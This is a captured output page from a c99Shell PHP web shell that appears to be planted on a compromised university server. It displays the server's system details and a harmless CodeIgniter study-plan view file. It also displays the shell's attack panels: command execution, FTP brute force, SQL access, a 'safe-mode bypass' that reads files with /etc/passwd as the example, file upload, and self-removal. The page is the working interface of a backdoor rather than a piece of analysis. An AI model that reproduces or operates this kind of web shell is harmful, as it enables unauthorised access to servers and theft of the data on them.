!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showRealStudyPlan.php (4.91 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%">
    <tr>
        <td>
            <div align="center">
            <table width="100%" border="0" cellspacing="1" cellpadding="1" align="center">
                <tr>
                    <td align="center"><span class="h error">กำหนดโปรแกรมการเรียนจริง</span></td>
                </tr>
                <tr>
                    <td colspan="3"><br /></td>
                </tr>
                <tr>
                    <td colspan="2">
                    <table width="100%" border="0" cellspacing="1" cellpadding="1" bordercolor="<?php echo $table_color_even;?>" align="center">
                        <tr bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>">
                            <td width="40%" height="25" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ชั้นปี</b></font></td>
                            <td width="50%" align="center">
                            <table width="100%">
                                <tr>
<?php
                                    
foreach($rs_sy->result() as $row_sy) {
?>
                                    <td align="center"><font size="2" color="<?php echo $font_color_table;?>"><b><?php echo $row_sy->syCode;?></b></font></td>
<?php
                                    
}
?>
                                </tr>
                            </table></td>
                            <td width="10%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>รวม</b></font></td>
                        </tr>
                        <tr bgcolor="<?php echo $this->config->item('rg_head_tb_headCol');?>">
                            <td height="25" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>ภาคการศึกษา</b></font></td>
                            <td align="center">
                            <table width="100%">
                                <tr>
<?php
                                    
for ($i 1$i <= $rs_sy->num_rows(); $i++) {
                                        foreach (
$rs_tm->result() as $row_tm) {
?>
                                    <td width="5%" align="center"><font size="2" color="<?php echo $font_color_table;?>"><b><?php echo $row_tm->tmCode;?></b></font></td>
<?php
                                        
}
                                    }
?>
                                </tr>
                            </table></td>
                            <td align="center"><font size="2" color="<?php echo $font_color_table;?>"><b>หน่วยกิต</b></font></td>
                        </tr>
<?php
                    
if (count($arr)) {
                        foreach (
$arr as $key => $val) {
                            if (
$arr[$key]['level'] == 0) {
?>
                        <tr bgcolor="<?php echo $tr_color_even;?>">
                            <td height="22"><font size="2"><?php echo $arr[$key]['name'];?></font></td>
                            <td colspan="<?php echo $rs_sy->num_rows();?>" align="center"></td>
                        </tr>
<?php
                            
} else if ($arr[$key]['level'] == 1) {
?>
                        <tr>
                            <td height="22">
                            <img src="<?php echo base_url().$this->config->item("rg_ico3");?>" align="absmiddle" border="0" />
                            <span class="hand" onClick="sendPost('frm_shw',<?php echo $arr[$key]['linkShowDetail'];?>,
                             '<?php echo site_url($this->config->item('rg_folder').'popup/showDetailRsp');?>', {width:500,height:500})" /><font size="2">ปีการศึกษา <?php echo $arr[$key]['name'];?></font></span></td>
                            <td align="center">
                            <table width="100%">
                                <tr>
<?php
                                    
for ($i 0$i count($arr[$key]['link']); $i++) {
                                        if (
$arr[$key]['link'][$i] == 0) { //ยังไม่ได้กำหนดโปรแกรมการเรียนจริง
                                            
$link "<font color=".$this->config->item('rg_font_color_err')."><span onClick=\"sendPost('hidform',".$arr[$key]['url'][$i].",
                                            '"
.site_url($this->config->item("rg_folder").'fee/addRealStudyPlan')."')\" class=\"hand\" >".$arr[$key]['sumCredit'][$i]."</span></font>";
                                        } else if (
$arr[$key]['link'][$i] == 1) { // กำหนดโปรแกรมการเรียนจริงแล้ว
                                            
$link "<font color=".$this->config->item('rg_font_color_true')."><span onClick=\"sendPost('hidform',".$arr[$key]['url'][$i].",
                                            '"
.site_url($this->config->item("rg_folder").'fee/addRealStudyPlan')."')\" class=\"hand\" >".$arr[$key]['sumCredit'][$i]."</span></font>";
                                        } else {
                                            
$link '-';
                                        }
?>
                                    <td width="5%" align="center"><b><?php echo $link;?></b></td>
<?php
                                    
}
?>
                                </tr>
                            </table></td>
                            <td width="10%" align="center"><font size="2"><?php echo number_format($arr[$key]['sumCreditTotal']);?></font></td>
                        </tr>
<?php
                            
}
                        }
                    }
?>
                    </table></td>
                </tr>
            </table></div>
        <br></td>
    </tr>
    <tr>
        <td><table width="100%">
            <tr>
                <td width="8%"><font size="2" color="<?php echo $font_color_err;?>"><b>หมายเหตุ : </b></font></td>
                <td width="92%"><font size="2" color="<?php echo $font_color_err;?>">ใช้เมาส์คลิกที่ปีการศึกษาตามหลักสูตรเพื่อดูรายละเอียดของโปรแกรมการเรียนจริง</font></td>
            </tr>
            <tr>
                <td></td>
                <td><font size="2" color="<?php echo $font_color_err;?>">สีแดง = ยังไม่บันทึก, สีเขียว = บันทึกแล้ว</font></td>
            </tr>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.009 ]--